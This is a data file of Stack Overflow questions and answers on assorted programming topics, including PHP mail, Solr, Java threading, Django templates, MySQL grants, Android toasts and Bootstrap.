2419979	0	 <p>Try using the <a href="http://www.php.net/manual/en/function.iconv.php" rel="nofollow noreferrer">iconv</a> to convert the encoding.</p>
32347930	0	Java error trying to add admob <p>It shows red errors and I followed the instruction in Google site. Only prob in Java</p> <blockquote> <p>mAdView.loadAd(adRequest) Unknown class:'adRequesr' Cannot resolve symbol loadAd </p> </blockquote>
2533815	0	Solr range query for specefic id like /solr/select?q=x:[1,2,5,11,64589] <p>I have some specific id like 1,2,5,11,64589 in solr (int type)</p> <p>I want to qet query like ttp://localhost:8983/solr/select?q=x:[1,2,5,11,64589] but does not work (get error). how can do it ??? </p> <p><strong>Note:</strong> i can implement with "<strong>OR</strong>" but i want simple way (and other problem limit in max url char length)</p>
30913203	0	 <p>I will clarify the thread-safety point. The other points are well described in older questions.</p> <p>It's quite rare case when <code>StringBuffer</code> suits your needs. While it's thread-safe it doesn't mean you will get what expected when using it from different threads. For example, suppose you have the following code:</p> <pre><code>StringBuffer buf = new StringBuffer(); public void appendMessage(String message) { buf.append("INFO: ").append(message).append(System.lineSeparator()); } </code></pre> <p>If you are using it in multithread environment it will not fail, but you may end up having content like this:</p> <pre><code>INFO: INFO: thread1 message thread2 message </code></pre> <p>That's because individual <code>append</code> calls are synchronized, but the whole sequence is not.</p> <p>In order to ensure that your messages are separately added, you must have an external synchronization like this:</p> <pre><code>Object lock = new Object(); StringBuilder buf = new StringBuilder(); public void appendMessage(String message) { synchronized(lock) { buf.append("INFO: ").append(message).append(System.lineSeparator()); } } </code></pre> <p>Here the whole sequence of calls is synchronized, so you will have the whole message appended at once. And as you are using the external synchronization, <code>StringBuilder</code> will work fine as well.</p> <p>So in general <code>StringBuffer</code> should not be used in the most of situations.</p>
35083026	0	 <p>use the <code>container</code> class</p> <pre><code>&lt;div class ="container"&gt; &lt;div class = "header_site"&gt; &lt;h1&gt;&lt;span class = "header"&gt;ABC Company&lt;/span&gt;&lt;/h1&gt; &lt;/div&gt; &lt;/div&gt; </code></pre>
31715355	0	 <p>From the <a href="https://docs.python.org/2/library/webbrowser.html#webbrowser.open" rel="nofollow">doc</a>.</p> <blockquote> <p>The webbrowser module provides a high-level interface to allow displaying Web-based documents to users. Under most circumstances, simply calling the open() function from this module will do the right thing.</p> </blockquote> <p>You have to import the module and use <code>open()</code> function.</p> <p><strong>To open in new tab:</strong></p> <pre><code>import webbrowser webbrowser.open('nabinkhadka.com.np', new = 2) </code></pre> <p><strong>Also from the doc.</strong></p> <blockquote> <p>If new is 0, the url is opened in the same browser window if possible. If new is 1, a new browser window is opened if possible. If new is 2, a new browser page (“tab”) is opened if possible</p> </blockquote> <p>So according to the value of new, you can either open page in same browser window or in new tab etc.</p> <p>Also you can specify as which browser (chrome, firebox, etc.) to open. Use <strong>get()</strong> function for this.</p>
28196027	0	 <p>The problem you're having is not related to GWT <em>per se</em>, but with Java itself. When you do:</p> <pre><code>private void setMuplDef(MultiUploader muplDef, ...) { muplDef = new MultiUploader(); </code></pre> <p>... you must remember that in Java you always copy the reference of the parameter when you call a method (more about that in <a href="http://stackoverflow.com/questions/40480/is-java-pass-by-reference-or-pass-by-value">here</a>). In that matter, you can't pass your <code>muplDefPdf</code> field as parameter expecting it to be instantiated inside the method.</p> <p>For your code to work properly, you need to do:</p> <pre><code>public MyClass() { muplDefPdf = new MultiUploader(); setMuplDef(muplDefPdf, "pdf", onFinishUploaderHandlerPdf, onCancelUploaderHanderPdf); muplDefJpg = new MultiUploader(); setMuplDef(muplDefJpg, "jpg", onFinishUploaderHandlerJpg, onCancelUploaderHanderJpg); initWidget(uiBinder.createAndBindUi(this)); } </code></pre> <p>... and remove the <code>muplDef = new MultiUploader();</code> line inside the <code>setMuplDef</code> method.</p>
1414434	0	 <p>If I remember correctly, the FileUpload component does not work inside UpdatePanel (without additional coding, at least)</p>
39502274	0	 <p>This took me so long to fix but the problem was that the Assets folder was removed from the build phases/copy bundle resources folder.</p>
7135252	0	 <p>By setting RightToLeft to Yes, you are asking the Windows text rendering engine to apply the text layout rules used in languages that use a right-to-left order. Arabic and Hebrew. Those rules are pretty subtle, especially because English phrases in those languages are not uncommon. It is not going to render "txeT emaN" as it normally does with Arabic or Hebrew glyphs, that doesn't make sense to anybody. It needs to identify sentences or phrases and reverse those. Quotes are special, they delineate a phrase.</p> <p>Long story short, you are ab-using a feature to get alignment that was <em>really</em> meant to do something far more involved. Don't use it for that.</p>
20971464	0	 <h1>Update related to your comment:</h1> <pre><code>from itertools import count, repeat def statistiken(request): # Get all members members = Member.objects.all() # Get maximum number of related events max_n_events = max(member.event_set.all().count() for member in members) # Create a list to hold table data table_data = [] for member in members: # Get all related events for the member events = member.event_set.all() # Get number of events n = events.count() # Append a iterator with member instance, event instances, and # repeating empty strings to fill up the table table_data.append(chain([member], events, repeat('', max_n_events-n))) context = {'table_data': table_data} return render(request, 'anwesenheitsapp/statistiken.html', context) </code></pre> <p>and your template to this:</p> <pre><code>&lt;table&gt; &lt;tr&gt; {% for row in table_data %} {% for col in row %} &lt;td&gt;{{ col }}&lt;/td&gt; {% endfor %} {% endfor %} &lt;/tr&gt; &lt;/table&gt; </code></pre> <p>The strings in the table will be the result of <code>__unicode__()</code> for your member and events, followed by empty cells.</p> <hr> <h1>(old answer)</h1> <p>To access all related Events from a Member instance, use <code>event_set.all()</code>.</p> <p>Your template could look something like this:</p> <pre><code>&lt;table&gt; {% for member in all_members %} &lt;td&gt;{{ member }}&lt;/td&gt; {% for event in member.event_set.all %} &lt;td&gt;{{ event }}&lt;/td&gt; {% endfor %} {% endfor %} &lt;/table&gt; </code></pre> <p>Which should produce this table</p> <pre><code>| member0 | related_event00 | related_event01 | ... | related_event_0n| | member1 | related_event10 | related_event11 | ... | related_event_1n| | .... | | memberm | related_eventm0 | related_eventm1 | ... | related_event_mn| </code></pre> <p>(n could be different from member to member of course)</p>
16364102	0	php variable not being passed to mail() "to line" parameter <p>long time listener, first time caller...</p> <p>I have recently started working through O'Reilly's "Head First" books on PHP, and this is one of their exercises - the code may look familiar to some of you. </p> <p>The goal of the lesson was to demonstrate how the "mail" function in php works, and to that end they gave the following code to use as an example (edited for brevity/context):</p> <pre><code>$email = $_POST['email']; $to = 'myemail@myemail.com'; $subject = 'Abduction report'; $message = "$name . was abducted $when_it_happened and was gone for $how_long . \n" . "Number of aliens: $how_many \n" . "Alien description $alien_description\n" . "What they did: $what_they_did \n" . "Fang spotted: $fang_spotted \n" . "Other comments: $other"; mail($to, $subject, $message, 'From:' . $email); </code></pre> <p>----------------------------------EDIT-----------------------------------</p> <p>Per request, here is the results of <code>phpinfo()</code>:</p> <pre><code>System: Linux infong 2.4 #1 SMP Thu Feb 14 13:02:49 CET 2013 i686 GNU/Linux Build date: Apr 10 2013 13:38:50 Configure Command: '../configure' '­­program­suffix=5' '­­with­pear=/usr/lib/php5' '­­with­ config­file­path=/usr/lib/php5' '­­with­libxml­dir' '­­with­mysqli' '­­with­kerberos' '­­with­imap­ssl' '­­enable­soap' '­­with­xsl' '­­enable­mbstring=all' '­­with­curl' '­­with­mcrypt' '­­with­gd' '­­with­pdo­mysql' '­­with­freetype­dir' '­­with­libxml­dir' '­­with­mysql' '­­with­zlib' '­­enable­debug=no' '­­enable­safe­mode=no' '­­enable­discard­path=no' '­­with­png­dir' '­­enable­track­vars' '­­with­db' '­­with­gdbm' '­­enable­force­cgi­redirect' '­­enable­fastcgi' '­­with­ttf' '­­enable­ftp' '­­enable­dbase' '­­enable­memory­limit' '­­enable­calendar' '­­enable­wddx' '­­with­jpeg­dir=/usr/src/kundenserver/jpeg­6b' 'enable­bcmath' '­­enable­gd­imgstrttf' '­­enable­shmop' '­­enable­mhash' '­­with­mhash' '­­with­openssl' '­­enable­xslt' '­­with­xslt­sablot' '­­with­dom' '­­with­dom­xslt' '­­with­dom­exslt' '­­with­imap' '­­with­iconv' '­­with­bz2' '­­with­gettext' '­­enable­exif' '­­with­idn' '­­with­sqlite' '­­enable­sqlite­utf8' '­­enable­zip' '­­with­tidy' '­­enable­gd­native­ttf' Server API: CGI/FastCGI Virtual Directory Support: disabled Configuration File (php.ini) Path: /usr/lib/php5 Loaded Configuration File: /usr/lib/php5/php.ini Scan this dir for additional .ini files: (none) additional .ini files parsed: (none) PHP API: 20041225 PHP Extension: 20060613 Debug Build: no Thread Safety: disabled Zend Memory Manager: enabled IPv6 Support: enabled Registered PHP Streams: https, ftps, compress.zlib, compress.bzip2, php, file, data, http, ftp, zip Registered Stream Socket Transports: tcp, udp, unix, udg, ssl, sslv3, sslv2, tls Registered Strem Filters: zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed </code></pre> <p>Everything works as expected except that I would receive no emails after filling out and submitting the form. </p> <p>After removing the $to variable from "mail()" and replacing it with a static string ('myemail@myemail.com') I did get a properly formatted email. </p> <p>I also concatenated the "$to" variable to the body of the message and it displayed correctly from within the email body. </p> <p>So I am at a loss as to why it cannot be used in the mail's "to" line. What am I missing here?</p>
15783060	0	 <p>You can use Json.NET for that. Check out this article: <a href="http://sixgun.wordpress.com/2012/02/09/using-json-net-to-generate-jsonschema/">http://sixgun.wordpress.com/2012/02/09/using-json-net-to-generate-jsonschema/</a></p>
13763076	0	 <p>There's a bug in your calculation: For <code>1000</code> activities and <code>200</code> resources, you don't have <code>200*1000</code> possible allocations but <code>200^1000</code> possible allocations (so more than <code>10^2000</code> possible allocations). Are you sure your optimization engine scales that much?</p> <p>Have you looked into doing resource allocation with <a href="http://docs.jboss.org/drools/release/5.5.0.Final/drools-planner-docs/html_single/index.html" rel="nofollow">Drools Planner</a> instead? Drools Planner can handle such allocation sizes and much bigger too. It searches for the best solution (and scales out well) and it uses Drools to calculate the score (= negative of the number of forbidden allocations) for each solution it evaluates.</p>
6086670	0	 <p>In a DataTemplate, the DataContext is set by default to the item that is represented by the DataTemplate (in that case, the Car object). If the EditCar command is on the main viewmodel (which also contains the MyCars collection), you need to explicitly set the Source of the Binding to that object. This would be (assuming that you are using the MVVM Light's ViewModelLocator and that your VM is named Main) {Binding Source={StaticResource Locator}, Path=Main.EditCar}</p> <p>Cheers, Laurent</p>
27234480	0	Can I color table columns using CSS without coloring individual cells? <p>Is there a way to color spans of columns all the way down. See, starting example below:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;table border="1"&gt; &lt;tr&gt; &lt;th&gt;Motor&lt;/th&gt; &lt;th colspan="3"&gt;Engine&lt;/th&gt; &lt;th&gt;Car&lt;/th&gt; &lt;th colspan="2"&gt;Body&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;1&lt;/td&gt; &lt;td&gt;2&lt;/td&gt; &lt;td&gt;3&lt;/td&gt; &lt;td&gt;4&lt;/td&gt; &lt;td&gt;5&lt;/td&gt; &lt;td&gt;6&lt;/td&gt; &lt;td&gt;7&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;7&lt;/td&gt; &lt;td&gt;1&lt;/td&gt; &lt;td&gt;2&lt;/td&gt; &lt;td&gt;3&lt;/td&gt; &lt;td&gt;4&lt;/td&gt; &lt;td&gt;5&lt;/td&gt; &lt;td&gt;6&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt;</code></pre> </div> </div> </p> <p>And I am looking for a better way (less code, non-individual coloring) to color, for example, "Engine" and "Body" spans, including all the cells underneath them in <code>#DDD</code></p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;style&gt; .color { background-color: #DDD } &lt;/style&gt; &lt;table border="1"&gt; &lt;tr&gt; &lt;th&gt;Motor&lt;/th&gt; &lt;th colspan="3" class="color"&gt;Engine&lt;/th&gt; &lt;th&gt;Car&lt;/th&gt; &lt;th colspan="2" class="color"&gt;Body&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;1&lt;/td&gt; &lt;td class="color"&gt;2&lt;/td&gt; &lt;td class="color"&gt;3&lt;/td&gt; &lt;td class="color"&gt;4&lt;/td&gt; &lt;td&gt;5&lt;/td&gt; &lt;td class="color"&gt;6&lt;/td&gt; &lt;td class="color"&gt;7&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;7&lt;/td&gt; &lt;td class="color"&gt;1&lt;/td&gt; &lt;td class="color"&gt;2&lt;/td&gt; &lt;td class="color"&gt;3&lt;/td&gt; &lt;td&gt;4&lt;/td&gt; &lt;td class="color"&gt;5&lt;/td&gt; &lt;td class="color"&gt;6&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt;</code></pre> </div> </div> </p>
30964061	0	mysql: grant command denied for user <p>I need help regarding mysql grant command. I need to grant select command on a table to a user which is from different host.</p> <p><code>GRANT SELECT on db.table TO user@xx.xx.xxx AT password</code> (xx.xx.xxx is ip address of other server and user is username at that server)</p> <p>The above statement is giving me error:</p> <blockquote> <h1>1174 - Grant command denied to user</h1> </blockquote> <p>It is working fine in the localhost phpmyadmin. But when I do it in cpanel phpmyadmin it gives error.</p> <p>Thanks</p>
266574	0	 <p>John Resig (jQuery) <a href="http://ejohn.org/blog/html5-doctype/" rel="nofollow noreferrer">has a say</a> in that matter. Additionally, a DocType helps make MSIE6 <a href="http://msdn.microsoft.com/en-us/library/bb250395.aspx#cssenhancements_topic2" rel="nofollow noreferrer">use the right box model</a>, and it also eases the pain of validating your site (this is a <strong>good</strong> thing for development; think of it as debugging).</p>
2245486	0	 <p>The XmlReader does not by default (but see Colin's and dh's suggestion) assume that it is the only one using a stream, so the first option is the only Dispose safe one. </p>
8563439	0	Android Stop toast notification programatically? <p>Is there a way I can stop a toast message programatically? </p> <p>Say I have a button which I click to scroll through toast messages, and in the onclick event I wanted to stop all in the queue and just show the new one, how would I do that?</p> <p>Thanks,</p> <p>Ben</p> <p>A simplified version of my code is below - Code:</p> <pre><code>public class Help extends Activity{ LinearLayout background; int screenNo = 1; Toast toast; /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.help); background = (LinearLayout) findViewById(R.id.helpLayout); ImageButton next = (ImageButton) findViewById(R.id.imageButtonNext); next.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View arg0) { toast.cancel(); showNextScreen(); }}); } private void showMessageBox(String title, String msg) { AlertDialog.Builder b = new AlertDialog.Builder(this); b.setTitle(title); b.setMessage(msg); b.setPositiveButton("Next", new DialogInterface.OnClickListener() { public void onClick(DialogInterface arg0, int arg1) { showNextScreen(); }}); b.setNegativeButton("Quit Help", new DialogInterface.OnClickListener() { public void onClick(DialogInterface arg0, int arg1) { returnHome(); }}); b.show(); } private void showNextScreen() { int time = 7000; String tstMsg = "error"; switch (screenNo) { case 1: break; case 2: break; case 3: break; case 4: break; case 5: toast.cancel(); returnHome(); break; default: break; } if(screenNo &lt; 5) { toast=Toast.makeText(this, tstMsg, time); toast.setGravity(Gravity.BOTTOM, 0, 0); toast.show(); screenNo++; } } } </code></pre>
17147231	0	 <p>Ok, solved the proplem. It has nothing to do with the installation process. Anyway it was related to a very weird Windows behaviour. I'll try to explain:</p> <p>On the developer machine (PC1) the language setting is German(Germany). At the machine where the app is installed (PC2) the language was German(Austria). With these slight but important difference I got a FormatException when parsing a string to a double value at PC2 (',' &lt;-> '.'). After changing the language settings at PC2 the issue was solved.</p> <p>Without remote debugging I wouldn't have detected this behaviour.</p>
17945901	0	PHP Template - Using extract() and access vars by object. Array is given <p>I want something like this in my template file:</p> <pre><code>&lt;ul&gt; &lt;?foreach($friends as $var):?&gt; &lt;li&gt; &lt;?=$var-&gt;name?&gt; &lt;/li&gt; &lt;?endforeach ?&gt; &lt;/ul&gt; </code></pre> <p>I use this in my model.php:</p> <pre><code>$data = array('friends' =&gt; array( array('name' =&gt; 'testname'), array('name' =&gt; 'testname2') )); // missing code here ? extract($data, EXTR_SKIP); include('template_file.html'); </code></pre> <p>How can I use $var->name to access 'name' as an object in my template file?</p> <p>$data = array() is set.</p> <p>Update:</p> <p>Its because, I dont want to use <code>&lt;?=$var['name']?&gt;</code> in my template.</p>
13716194	0	SnapView in Windows 8 app <p>I want to add SnapView and want to handle all screen resolutions in my blank grid app in Windows 8 , how to achieve that ?</p>
11087997	0	 <p>If you are using Jackson, You could look at the JacksonJAXBAnnotations here <a href="http://wiki.fasterxml.com/JacksonJAXBAnnotations" rel="nofollow">http://wiki.fasterxml.com/JacksonJAXBAnnotations</a></p>
22826338	0	Not able to enter user input on second run of while loop <p>I'm writing a small payroll program with 2 classes (Payroll/contains main, and Employee). The program should continue to ask for user input until the user enters <em>stop</em> as an employee's name. I was able to get the program to terminate after entering <em>stop</em> as the first employee's name; however, when I input an actual name (for example Jim), the program runs through the while loop once fine. The problem is that when the while loop runs again it does not allow any user input for the employee name. It jumps directly to the next line, which is asking for hours worked. Here is my code from the Employee class.</p> <p>package payroll;</p> <p>import java.util.Scanner;</p> <p>public class Employee {</p> <pre><code>// class variables private String employeeName; private double hoursWorked; private double payRate; private double weeklyPay; // Employee class constructor public Employee() { } // get value of class variable employeeName from user public void getInfo() { String name = ""; // initialized as empty string for use in while loop String term = "stop"; // terminating condition for while loop double hours; // employee hours worked double rate; // employee pay rate Scanner input = new Scanner(System.in); while (!name.equals(term)) { // will continue as long as name does not equal "stop" System.out.print("Enter the employee's name or stop if finished: "); name = input.nextLine(); // assigns the value input for name employeeName = name; if (employeeName.equals(term)) break; // terminate while loop if user enters "stop" System.out.print("How many hours did " + employeeName + " work? "); hours = input.nextDouble(); // assigns the value input for hours hoursWorked = hours; // assigns hours to Employee class variable hoursWorked if (hours &lt; 0) { // control statement to make sure hours is not a negative number System.out.print("Hours cannot be a negative number.\n"); System.out.print("How many hours did " + employeeName + " work? "); hours = input.nextDouble(); // assigns the value input for hours hoursWorked = hours; // assigns hours to Employee class variable hoursWorked } System.out.print("Enter " + employeeName + "'s pay rate: "); rate = input.nextDouble(); // assigns the value input for rate payRate = rate; // assigns rate to Employee class variable payRate if (rate &lt; 0) { System.out.print("Rate cannot be a negative number.\n"); System.out.print("Enter " + employeeName + "'s pay rate: "); rate = input.nextDouble(); // assigns the value input for rate payRate = rate; // assigns rate to Employee class variable payRate } // calculates employee pay form calcPay method calcPay(); // outputs message to console displayMessage(); } } </code></pre> <p>public void calcPay() {</p> <pre><code> weeklyPay = setHours() * setRate(); } </code></pre> <p>public void displayMessage() {</p> <pre><code> System.out.printf("%s%s%.2f \n", employeeName, "'s weekly pay is $", weeklyPay); } </code></pre> <p>This is what my output looks like:</p> <p>Enter the employee's name or stop if finished: Tim</p> <p>How many hours did Tim work? 40</p> <p>Enter Tim's pay rate: 20.50</p> <p>Tim's weekly pay is $820.00</p> <p>Enter the employee's name or stop if finished: How many hours did work? </p> <p>I can't understand why I am not enter a new employee's name.</p>
36359801	0	Sprockets::FileNotFound couldn't find file 'bootstrap' with type 'text/css' <p>So this is the error I am getting in my browser when I try to run the rails server:</p> <pre><code> [couldn't find file 'bootstrap' with type 'text/css'] </code></pre> <p>I have this in my gemfile:</p> <pre><code> gem 'bootstrap-sass', '~&gt; 3.3.5.1' </code></pre> <p>And this is my application.css.scss file: </p> <pre><code> *= require bootstrap *= require_tree . *= require_self */ @import "bootstrap"; </code></pre> <p>Does anyone know how to get this up and running?? </p>
9641810	0	Running ant as administrator...through Eclipse <p>I just inherited a project that uses Tomcat to serve JSPs, but Apache httpd to server Javascript...</p> <p>The Ant build for this project creates and deletes directories inside the <code>C:\Program Files\Apache Software Foundation\Apache2.2\</code> directory, which is an "admin" directory in Windows 7 land.</p> <p>When I try to run this Ant build inside of Eclipse, the build fails because it is unable to create the necessary directories because its getting permission/access denied errors.</p> <p>Is there any way to configure Ant (run arguments, etc.) to run as administrator from inside Eclipse? Thanks in advance.</p>
4141373	0	WIQL - is it possible to get checkin differences using WIQL? <p>This is in VSTS 2010</p> <p>Question: Using WIQL, is it possible to get the list of file differences due to checkins </p> <p>1) for a given date range</p> <p>2) for a given folder </p>
34811268	0	No img-responsive in Bootstrap 4 <p>I just downloaded the source code for Bootstrap 4 alpha 2 and can't find the class <code>img-responsive</code> in it. It exists in Bootstrap 3 source code and I can find it with Notepad++ but in Bootstrap 4s <code>bootstrap.css</code> in <code>dist</code> folder it doesn't exist.</p> <p>What happend to it??</p>
35059263	0	Salesforce API - How to retrieve 'frequent actions' <p>I'm very new to Salesforce and have a specific task to carry out. </p> <p>I'd like to retrieve the most frequent tasks that have happened in a salesforce application and display them within a Drupal application. I've read through some of the documentation and came accross:</p> <p>KnowledgeArticleViewStat Provides statistics on the number of views for the specified article across all article types. This object is read-only and available in API version 20 and later. <a href="https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_knowledgearticleviewstat.htm" rel="nofollow">https://developer.salesforce.com/docs/atlas.en-us.api.meta/api/sforce_api_objects_knowledgearticleviewstat.htm</a></p> <p>Basically, there are many application users and I'd like to show a summary of their most viewed items/pages.</p> <p>Is this the root I should go down or is there a more generic object/query I can use to return further usage information?</p> <p>Many thanks in advance for your help.</p>
8071609	0	 <p>You are definitely obtaining the instance of the "ervice" from the bean factory when you call the methods, right? The bean factory needs to set up a proxy which implements the transactional logic around each method call. I was under the impression this only worked when "outsiders" invoke methods via the proxy, and doesn't necessarily work when one method calls another, as that method is a direct call inside the implementation object and does not go via the AOP proxy.</p>
27043600	0	 <p>If you just need the time part of your <code>Date</code> object and you can't use Java 8 and don't want to use any third party framework, then use <a href="https://docs.oracle.com/javase/8/docs/api/java/util/Calendar.html" rel="nofollow"><code>Calendar</code></a>:</p> <pre><code>Calendar c = Calendar.getInstance(); c.setTime(yourDate); c.set(Calendar.YEAR, 0); c.set(Calendar.MONTH, 0); c.set(Calendar.DAY, 0); Date timeOnly = c.getTime(); </code></pre>
20073814	0	 <p>You're going to need a bit more than that, to get this accomplished ;) First of all, Slick requires a DB session, so that needs to be handled somewhere. Meaning a Slick Table <code>getAll</code> won't work by itself.</p> <p>I would do something like this (sorry, typing this up without an IDE, so it may not compile):</p> <pre><code>case class Person(...) object People extends Table[Person](PeopleDAO.table) { def * = ... } trait DAO[T] { val table: String def getAll: Seq[T] } object PeopleDAO extends DAO[Person] { override val table = "people" def getAll = { DB withSession { implicit session =&gt; Query(People).list } } } object Controller { def getTable(tableName: String) = Action { val dao: DAO[_] = tableName.toLowerCase match { case PeopleDAO.table =&gt; PeopleDAO case _ =&gt; throw new IllegalArgumentException("Not a valid table.") } Ok(Json.toJson(dao.getAll)) } } </code></pre>
10060842	0	 <h2>What is MSVCP90.dll</h2> <p>MSVCP90.dll is Multithreaded, dynamic Visual Studio 2008 C Runtime Library. Generally your application should package MSVCP90.dll unless you are sure that the target machine have the matching CRT. You can use any of the packaging software to package the necessary DLLs and your software and distribute it.</p> <h2>Purpose of MSVCP90.dll</h2> <p>You may be wondering why you need this weird dll? Well CRT is nothing new to python. All application that is based on C heavily relies on C library functions. All the implementations of the standard C Library functions like (malloc, strcpy ..) to name a few is implemented in these libraries. There are different kinds and the specific <a href="http://msdn.microsoft.com/en-us/library/abx4dbyh%28VS.100%29.aspx" rel="nofollow noreferrer">MSDN website</a> have more details on it. <img src="https://i.stack.imgur.com/A7VSs.png" alt="enter image description here"></p> <h2>Distributing MSVCP90.dll</h2> <p>When distributing CRT, you should understand that depending upon what CRT you have used the version number which is suffixed with the name of the CRT varies. For example MSVCP90.DLL is the CRT from Visual Studio 2008. A single machine can contain multiple CRTs either in the system folder on in application installation path. </p> <p>If you are planning to package your application, you need to re-verify, which CRT version your application uses. Packaging wrong CRT or using one can cause undesired and undefined effect. Generally speaking the CRT your Python Installation uses, should be the same CRT you should package.</p> <h2>Determining the correct MSVCRT</h2> <p>As there are different CRT builds with different versions, it is difficult to ascertain, which CRT should be packaged. If you have a running application (executable), you can use <a href="http://www.dependencywalker.com/" rel="nofollow noreferrer">dependencywalker</a> to determine the correct version. Right click on any of the DLLs and click on properties and it will show you the location from which this DLL is being picked. <img src="https://i.stack.imgur.com/8tYzD.png" alt="enter image description here"></p> <h2>Packaging your application.</h2> <p>You can try using <a href="http://www.pyinstaller.org/" rel="nofollow noreferrer">PyInstaller</a> to package your application. It would be a convenient way to get the DLL into the target machine.</p>
7265378	0	Does [GKLocalPlayer localPlayer] ever return valid info on first call? <p>What is the point of calling...</p> <pre><code>GKLocalPlayer *localPlayer = [GKLocalPlayer localPlayer]; </code></pre> <p>As far as I can tell, this always returns an object will all fields set to nil, regardless of the start of the currently signed in player. It's not until you call...</p> <pre><code>[localPlayer authenticateWithCompletionHandler:^(NSError *error) </code></pre> <p>...that you get a player. Is this call only to get an object to then call authenticateWithCompletionHandler: from?</p> <p>Is it safe to assume that on this very first call, it will never have valid player information? I was assuming that it had the player info for the player logged into Game Center on the device, but that isn't the case (that would be too handy).</p> <p>What should the game do during the time waiting for a valid playerID? On a bad connection, players could have completed achievements and even get a score. I know you're supposed to save information until a connection is made, but without a playerID, I can't save it tagged for a specific player like you would do during a simple failure to send a score.</p> <p>In my above example, player A start the game, get a score and quit the game before they were ever authenticated. Then Player B logs on and starts the game and gets the score from player A.</p> <p>If I save the last playerID and just use that, you get into the situation of player B starting a game after player A and all scores go to player A, or are lost for player A when player B starts.</p> <p>Or is it just not worth worrying about stuff like this because it's &lt;1% likely to ever happen?</p> <p>Or am I just missing the simple solution to all this stuff?</p> <p>Game Center is just a complete mess of edge cases. Apple could have done a much better job on this API.</p>
15170669	0	 <p>Here View reference your Button's View. So you need to create object for parent layout an then</p> <pre><code>layout.setBackgroundColor(Color.GREEN); </code></pre>
17771028	0	 <p>Try this:</p> <pre><code>typedef char board[10][10]; </code></pre> <p>Then you can define new array as this:</p> <pre><code>board double_array = {"hello", "world"}; </code></pre> <p>It's the same with:</p> <pre><code>char double_array[10][10] = {"hello", "world"}; </code></pre>
15579877	0	 <p>You can go directly to your project's plist and modify it.</p>
8185870	0	Using boost::tuple in tr1::hash <p>I want to define <code>std::tr1::hash&lt;boost::tuple&lt;A,B,C&gt; &gt;</code>. But I get an error that doesn't appear when I give a complete instantation. Here's the code</p> <pre><code>namespace std{ namespace tr1{ template&lt;typename A, typename B, typename C&gt; struct hash&lt;boost::tuple&lt;A,B,C&gt; &gt;{ size_t operator()(const boost::tuple&lt;A,B,C&gt; &amp;t) const{ size_t seed = 0; boost::hash_combine(seed, t.get&lt;0&gt;()); boost::hash_combine(seed, t.get&lt;1&gt;()); boost::hash_combine(seed, t.get&lt;2&gt;()); return seed; } }; template&lt;&gt; struct hash&lt;boost::tuple&lt;int,int,int&gt; &gt;{ size_t operator()(const boost::tuple&lt;int,int,int&gt; &amp;t) const{ size_t seed = 0; boost::hash_combine(seed, t.get&lt;0&gt;()); boost::hash_combine(seed, t.get&lt;1&gt;()); boost::hash_combine(seed, t.get&lt;2&gt;()); return seed; } }; } } </code></pre> <p>The first piece gives this error</p> <pre><code>unordered.hpp: In member function 'size_t std::tr1::hash&lt;boost::tuples::tuple&lt;A, B, C, boost::tuples::null_type, boost::tuples::null_type, boost::tuples::null_type, boost::tuples::null_type, boost::tuples::null_type, boost::tuples::null_type, boost::tuples::null_type&gt; &gt;::operator()(const boost::tuples::tuple&lt;A, B, C, boost::tuples::null_type, boost::tuples::null_type, boost::tuples::null_type, boost::tuples::null_type, boost::tuples::null_type, boost::tuples::null_type, boost::tuples::null_type&gt;&amp;) const': unordered.hpp:12: error: expected primary-expression before ')' token unordered.hpp:13: error: expected primary-expression before ')' token unordered.hpp:14: error: expected primary-expression before ')' token </code></pre> <p>and the second compiles just fine. What's wrong with the first template? I'm using gcc 4.3.4.</p>
35314496	0	 <p>I guess the <code>word_list</code>(try to rename the variable to <code>word_dict</code>, I think that is more appropriate) has lots of items, </p> <pre><code>for index, data in enumerate(sentence): for key, value in word_list.iteritems(): if key in data: sentence[index]=data.replace(key, word_list[key]) </code></pre> <p>working example from <code>ipython</code></p> <pre><code>In [1]: word_list = { "hello" : "1", "bye" : "2"} In [2]: sentence = ['hello you, hows things', 'hello, good thanks'] In [3]: for index, data in enumerate(sentence): ...: for key, value in word_list.iteritems(): ...: if key in data: ...: sentence[index]=data.replace(key, word_list[key]) ...: In [4]: sentence Out[4]: ['1 you, hows things', '1, good thanks'] </code></pre>
14649163	0	Distinct Query? <p>I have a table that contains a Column with client names. It has about 10-15 distinct clients that appear multiple times in the column. Is there a way that I can run a query that will list all the distinct clients and do the count for each client so that it shows how many times each client appears in the column? I know that in SQL you can use as to assign temporary column, but I'm new to LINQ and have no idea if this is possible.</p> <p>Any help would be great, thanks.</p>
32260341	0	 <p>You might be using the <strong>3.x</strong> version of jstree which does not take the rel attribute into account. If you are using the 3.x version, more information can be found at this link : <a href="https://github.com/vakata/jstree/issues/473" rel="nofollow">https://github.com/vakata/jstree/issues/473</a></p>
36648138	0	 <p>The same behaviour as with <code>$.Deferred</code> in <code>jQuery</code> you can archive in <code>Java 8</code> with a class called <code>CompletableFuture</code>. This class provides the API for working with <code>Promises</code>. In order to create async code you can use one of it's <code>static</code> creational methods like <code>#runAsync</code>, <code>#supplyAsync</code>. Then applying some computation of results with <code>#thenApply</code>.</p>
13755681	0	 <p><code>git add .</code> will add any files in the current directory and any sub-directories. I would imagine that you could also do <code>git add .\relative\path\to\file</code> as well. If the file still resists, force a change (add a new line somewhere in the file where it won't hurt anything) and try again. Sometimes the diff that git runs doesn't detect that the file has changed.</p>
